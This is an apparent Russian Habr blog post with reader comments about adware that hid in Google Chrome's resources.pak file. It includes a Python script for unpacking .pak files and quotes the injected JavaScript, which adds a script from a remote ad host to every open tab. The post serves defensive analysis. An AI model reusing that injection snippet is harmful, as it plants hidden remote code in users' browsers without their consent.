Появился новый вид adware, который встраивается в сам браузер.


Очередной компьютер с жалобой на рекламу в браузере — как обычно по словам пользователя ничего не запускалось, но факт налицо — реклама вылазит почти на каждом сайте из всех щелей и подменяются поисковые запросы. Обычно большинство подобных проблем решаются сразу же за пять минут с помощью AntiSMS, затем проверяется журнал работы программы и при необходимости подчищаются хвосты вроде сторонних расширений в браузерах, но не в этом случае. Сходу не помогло ничего из обычных средств, даже антивирусы не видели в системе никаких проблем, а потому стало интересно — откуда же берётся реклама?

Для экономии времени перед ручной работой система была быстро проверена через AVZ, Dr.Web CureIt! и Kaspersky Virus Removal Tool — все отчитались о чистоте системы в то время, как на фоне их работы показывалась та самая реклама. Что характерно, в системе были удалены все остальные браузеры, остался только Google Chrome, да и новые способы заражения встречаются не часто, поэтому на него подозрение пало в последнюю очередь.

Первым делом был обнаружен рекламный модуль от компании Express Find с этой же легальной цифровой подписью от 8 апреля, совсем свежий. Он использовал одновременно три места автозапуска, однако после его удаления реклама чудесным образом продолжала показываться. Дальнейшее расследование показало, что она остаётся даже при создании нового профиля. Бывало раньше adware обосновывалась там, но здесь разработчики решили проявить креатив, чтобы реклама сопровождала пользователя с любым профилем и под любой учётной записью.

Дальше была исследована сама папка, в которой Google Chrome был установлен. На вид всё хорошо — все файлы имеют цифровую подпись, ничего необычного. Однако для проверки папка была переименована и тут же установлен новый хром той же версии. Тогда обнаружилось, что файл resources.pak отличается от оригинального и проблема находится именно здесь. Ресурсы сразу же были заменены для проверки и всё подтвердилось — виновник найден. Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне:

import collections
import struct
import sys
def ReadFile(filename, encoding):
  mode = 'rb' if encoding == 0 else 'rU'
  with open(filename, mode) as f:
    data = f.read()
  if encoding not in (0, 1):
    data = data.decode(encoding)
  return data

PACK_FILE_VERSION = 4
HEADER_LENGTH = 2 * 4 + 1  # Two uint32s. (file version, number of entries) and
                           # one uint8 (encoding of text resources)
def UnpackDataPack(input_file):
  """Reads a data pack file and returns a dictionary."""
  data = ReadFile(input_file, 0)
  original_data = data

  # Read the header.
  version, num_entries, encoding = struct.unpack("<IIB", data[:HEADER_LENGTH])
  if version != PACK_FILE_VERSION:
    print "Wrong file version in ", input_file
    raise WrongFileVersion

  resources = {}
  if num_entries == 0:
    return DataPackContents(resources, encoding)

  # Read the index and data.
  data = data[HEADER_LENGTH:]
  kIndexEntrySize = 2 + 4  # Each entry is a uint16 and a uint32.
  for _ in range(num_entries):
    id, offset = struct.unpack("<HI", data[:kIndexEntrySize])
    data = data[kIndexEntrySize:]
    next_id, next_offset = struct.unpack("<HI", data[:kIndexEntrySize])
    resources[id] = original_data[offset:next_offset]
    filetype = 'bin'
    fileheader = ''.join(original_data[offset:offset+1])
    print ord(fileheader[0])
    if fileheader == '<':
      filetype = 'html'
    if fileheader == '\x89':
      filetype = 'png'
    elif fileheader == '/':
      filetype = 'js'
    of = open('{0}.{1}'.format(id,filetype),'wb')
    of.write(original_data[offset:next_offset])
    of.close()
def main():
  if len(sys.argv) > 1:
    UnpackDataPack(sys.argv[1])


if __name__ == '__main__':
  main()


Им были успешно распакованы две версии ресурсов и после сравнения обнаружилось, что в начало одного из скриптов adware дописал следующий блок:

chrome.tabs.onUpdated.addListener( function(tabId,changeInfo,tab){ chrome.tabs.executeScript(tabId,{code:" if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://expressfind-a.akamaihd.net/ExpressFind/cr?t=BLGC&g=ca4874d9-0a3e-4215-9772-67fb5ba1c08a'; document.head.appendChild(scr);} "})});


Таким образом действующий сайт по https с легальной цифровой подписью загружает рекламу и успешно обходит антивирусы. А новый способ внедрения позволяет методу работать даже после полного удаления adware из системы.

Комментарии (45)


  1. iG0Lka
    09.04.2015 03:03

    т.е. способ борьбы — почистить автозапуск и поставить заново броузер.
    А откуда и главное как зараза пролезла?


    1. shpaker
      09.04.2015 06:02
      +5

      Побуду сегодня капитаном. Автозапуска мало. Службы, планировщик и тупо ярлыки обязательны к просмотру.


      1. klikalka
        09.04.2015 09:48
        +3

        Очень часто в последнее время натыкаюсь как раз на прописанные в ярлыках сайты и/или ссылки на bat'ники.


      1. shpaker
        09.04.2015 13:29

        Ещё забыл добавить про проверку «Дополнений» браузеров.


      1. iG0Lka
        09.04.2015 14:15

        да это все понятно кэп, службы и планировщик это тоже автозапуск…

        главный вопрос как оно залезает?


        1. shpaker
          09.04.2015 15:15

          Все случаи что капитан видел, были последствием запуска как-нибудь странных программок, с именем вроде krutaya.mp3.exe или supergame.zip.exe
          Разводы древние как мир до сих пор работают, дело LOVE-LETTER-FOR-YOU.TXT.vbs живо.


        1. khanid
          09.04.2015 15:20
          +1

          Если гобально — пользователь с админ правами для постоянной работы.
          Крайне реже — уязвимости в системе. Это реально гораздо реже случается.


    1. izac
      09.04.2015 14:10

      Наверно я использовал данный алгоритм:
      1)Проверил службы, планировщики
      2)Проверка путей в ярлыках
      3)Проверка браузера на предмет сторонних дополнений.
      Если не помогает, тогда переустановка с 0 браузера.


  1. demimurych
    09.04.2015 03:31
    -17

    > Однако для проверки папка была переименована и тут же установлен новый хром той же версии.
    то есть для проверки вы использовали предоставленный вам компьютер, а не попытались тоже самое повторить на тестовой машине, где установлен полный мониторинг за всеми частями системы с аккаунтом жертвы?


  1. bitlz
    09.04.2015 03:53
    -3

    т.е. хром был установлен в профиль пользователя, так?


    1. khanid
      09.04.2015 15:21

      Судя по тому, что под другими учётками проблема была — хром установлен в целом на машину, а не для конкретного пользователя.


      1. IRainman
        09.04.2015 16:24
        +2

        Вот имхо зря bitlz заминусовали ибо я, например, тоже не понял из статьи куда был установлен Chrome, а про новых пользователей подумал, что это относится к профилям в самом Chrome.

        Помимо этого по умолчанию Chrome ставится именно в профиль пользователя.

        В общем, мне тоже интересны подробности ибо у меня Chrome как раз в Program Files живёт, а SRP (локальные политики) блокируют запуск приложений из мест, куда можно писать без админ прав. В общем, пока, я предполагаю, что мне и моим хомячкам описанные в статье проблемы не грозят.


        1. khanid
          09.04.2015 16:38

          Проблема, думаю, в админ правах.
          Наверняка были.
          Похожая петрушка была как-то, но только добавлялась библиотека в %programfiles%\mozilla firefox
          После этого так же левые страницы в ff и хроме. Сильно в механизме не разбирался. Но на машине, где отродясь не было ff, данная папка с 1 файлом смотрелась забавно.
          И опять привет админским правам. Уж сколько раз твердили миру…


          1. IRainman
            09.04.2015 19:07

            Возможно и в админ правах, но тогда возникает ещё более прозаичный вопрос куда делся по умолчанию включенный механизм UAC.


          1. IRainman
            09.04.2015 19:19

            Не исключаю, конечно, вероятности, что зараза умудрилась вылезти из песочницы через очередную уязвимость Win32k из процесса Chrome, который при этом ещё был запущен с админ правами при включённом UAC, но тогда это уже какой-то слишком суровый и экзотический способ поставить именно адварь. Вариант повышения прав за счёт уязвимости я сразу исключаю ибо такие эксплойты обычно значительно сложнее.


      1. IRainman
        09.04.2015 16:30

        Ну понятно, господа продвинутые юзеры и админы, похоже, расходимся. У меня этот файл в Program Files и просто так его не переписать.

        P.S. Google «молодцы» конечно, ибо уже неоднократно нарушили всевозможные гайдлайны как по безопасности, так и по дизайну, от этого собственно и описанная в топике проблема.


  1. k3NGuru
    09.04.2015 05:12
    -1

    Мне в таких случаях помогла данная штука http://virusinfo.info/showthread.php?t=146192


    1. nik_vr
      09.04.2015 08:07

      AdwCleaner поможет вычистить автозагрузку, службы, планировщик и т.п. Т.е. пути проникновения скрипта. Но вряд ли AdwCleaner (по крайней мере, текущая версия) найдёт скрипт в pak-файле Chrome.


      1. Eyes
        09.04.2015 08:58

        Не уверен что проблема действительно новая, но с чем-то очень подобным я тоже столкнулся месяца три назад.
        Правда реклама там всплывала и в хроме и в ФФ. Отчеты антивирусов были чисты (правда я тогда еще не знал про галку с нежелательными программами). AdwCleaner таки помог.


        1. nik_vr
          09.04.2015 18:50

          У «рекламных» adware много путей внедрения в систему. От банальных расширений к браузерам, до описанного в статье метода.


    1. crackedmind
      09.04.2015 12:25
      -1

      Спасибо. Не знал про такое, тоже помогло. А то не знал как эту заразу на ноуте девушки прибить уже.


  1. seyfer
    09.04.2015 07:50

    Столкнулся с такой же проблемой. У меня установлен flash block и ad block и я пользуюсь Ubuntu.
    С некоторых пор стала появляться иконка заблокированного флеша в левом верхнем углу. Так же я во время работы в инст. разработчика в хроме заметил, что на странице генерируется iframe, которого нет у меня в коде.
    Стал смотреть куда ведет адрес с флеша через flash block. И он точно такой же как в этой статье — akamaihd.net
    Я думал это от какого-то расширения, пробовал отключать — все остается так же.

    В итоге я просто добавил правило в adblock и блокировал этот элемент с флеш. Сгенерированный iframe так и появляется в коде страницы, но его не видно и он не мешает…
    Так что проблема действительно существует.


    1. Neris
      09.04.2015 09:40
      +7

      akamaihd.net это просто CDN Akamai. Очень большой и распространенный. Там много чего может быть от кого угодно.


      1. lostpassword
        09.04.2015 10:49

        А могут с Akamai какие-нибудь гадости заливаться? Сталкивались когда-нибудь?


        1. Neris
          09.04.2015 10:58

          Туда что угодно можно залить, оно для этого и предназначено. Заливаешь один файл, его выкачивают, он распространяется по огромному количеству кеширующих серверов по всему миру, предоставляя возможность юзерам качать максимально быстро без всяких p2p. Только за трафик плати.
          Но не думаю, что Акамаи очень уж абузоустойчив. Подозреваю, что если накатать жалобу на этот expressfind из статьи выше, предоставить доказательства, может с ними и разберутся.
          Вы главное не вздумайте весь акамаи блочить по домену, много чего полезного распространяется через него. Максимум — поддомен, в нашем случае, «expressfind-a.akamaihd.net».


          1. lostpassword
            09.04.2015 11:10

            Да это понятно, что не блочить. Просто у меня Akamai как-то с обновлениями Windows в основном ассоциировался. Выходит, зря.)
            А у вас, часом, не найдется какой-нибудь истории из личного опыта со зловредом на Akamai? С кровавыми подробностями и скандальными разоблачениями?


            1. Neris
              09.04.2015 11:12

              Нет, лично с таким не сталкивался. Сам использую Akamai в мирных целях.


              1. lostpassword
                09.04.2015 11:23

                Понятно. Спасибо за ответы!


  1. halyavin
    09.04.2015 08:16

    А хром у вас был последней версии? Вроде как обновление проверяет CRC.


    1. xni
      09.04.2015 14:16
      +1

      CRC или криптографически стойкую цифровую подпись?


  1. ComodoHacker
    09.04.2015 09:22
    +1

    Интересно все-таки узнать способ проникновения. Может тот Хром скачали с левого сайта?


    1. saboteur_kiev
      09.04.2015 16:09
      +1

      Кстати, я не перестаю удивляться, почему так сложно повнимательнее почитать ссылки в гугле и скачать БЕСПЛАТНЫЙ софт с оригинального сайта, а не с какой-то левой софтопомойки, которая в каждый инсталлятор засовывает кучу adware.
      Особенно, когда домашний сайт проекта и имя домена совпадают.


  1. toxicdream
    09.04.2015 09:28
    +1

    Файлы случайно не этими сертификатами подписаны?
    habrahabr.ru/company/infopulse/blog/255251/


  1. avgurus
    09.04.2015 10:32

    Google SRT попробуйте в следующий раз)


  1. zedalert
    09.04.2015 12:45
    +5

    А я всё чаще сталкиваюсь с «честными» рекламными модулями, которые добавляют деинсталлятор в список программ, и на удивление действительно удаляются таким лёгким способом.


  1. mannaro
    09.04.2015 19:15

    Кстати, а что за поставщик рекламы здесь используется? И почему он не против такого вида размещения рекламы?


  1. Beltoev
    09.04.2015 22:34
    +2

    Новый adware встраивается непосредственно в браузер
    По заголовку поста ожидал увидеть сам механизм встраивания, либо хоть какой-то намек на это. Думал, что в хроме есть какая-то уязвимость, либо что-то вроде этого, позволяющая зловреду так прописаться

    И, кстати…
    Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне
    Несколько раз перечитал предложение. Спасибо, мой мозг взорван


    1. zserg
      14.04.2015 08:46

      Это плохой перевод с рекламой.

      Quick search for unpacking resources showed the following script in Python — в оригинале


      1. Beltoev
        14.04.2015 09:34
        +2

        Вы правы, и вправду перевод: it-supernova.com/new-adware-that-integrates-directly-into-the-browser

        Получается, что пост нарушает сразу несколько правил Хабра: реклама, отсутствие метки перевод. Из «моральных» правил: выдача чужой статьи за свою. Некрасиво


        1. simplix Автор
          18.04.2015 22:51

          Вы что, с ума посходили? Какой-то сайт украл у меня статью, сделав перевод с русского на английский. А рекламу где увидели?


          1. Beltoev
            19.04.2015 01:03

            Реклама в первом же абзаце — не делайте вид, что не в курсе.
            Хорошо, пусть статья ваша — почему комментарии к коду на английском? Учитывая, что писали на русском, правильным тоном было бы дать и комментарии к коду на русском


          1. Beltoev
            19.04.2015 01:42

            Если нет рекламы и статья всё-таки ваша — зачем мне карму минуснули?
            Будь я на вашем месте и, если бы статья была моей, я бы и значения не придал таким комментариям


  1. abrwalk
    09.04.2015 23:07
    +2

    Пост про борьбу с рекламой, а все ради рекламной ссылки автора, в первом же абзаце до ката…


    1. grossws
      10.04.2015 13:41
      +1

      Интересно, какой идиот минусует? Замечание абсолютно справедливо, реклама на хабре запрещена правилами (по крайней мере, вне корпоративного блога).


  1. fortyseven
    14.04.2015 14:53

    Интересно, что скажет akamai, пустивший в свой CDN такое, да ещё и согласился отдавать по https.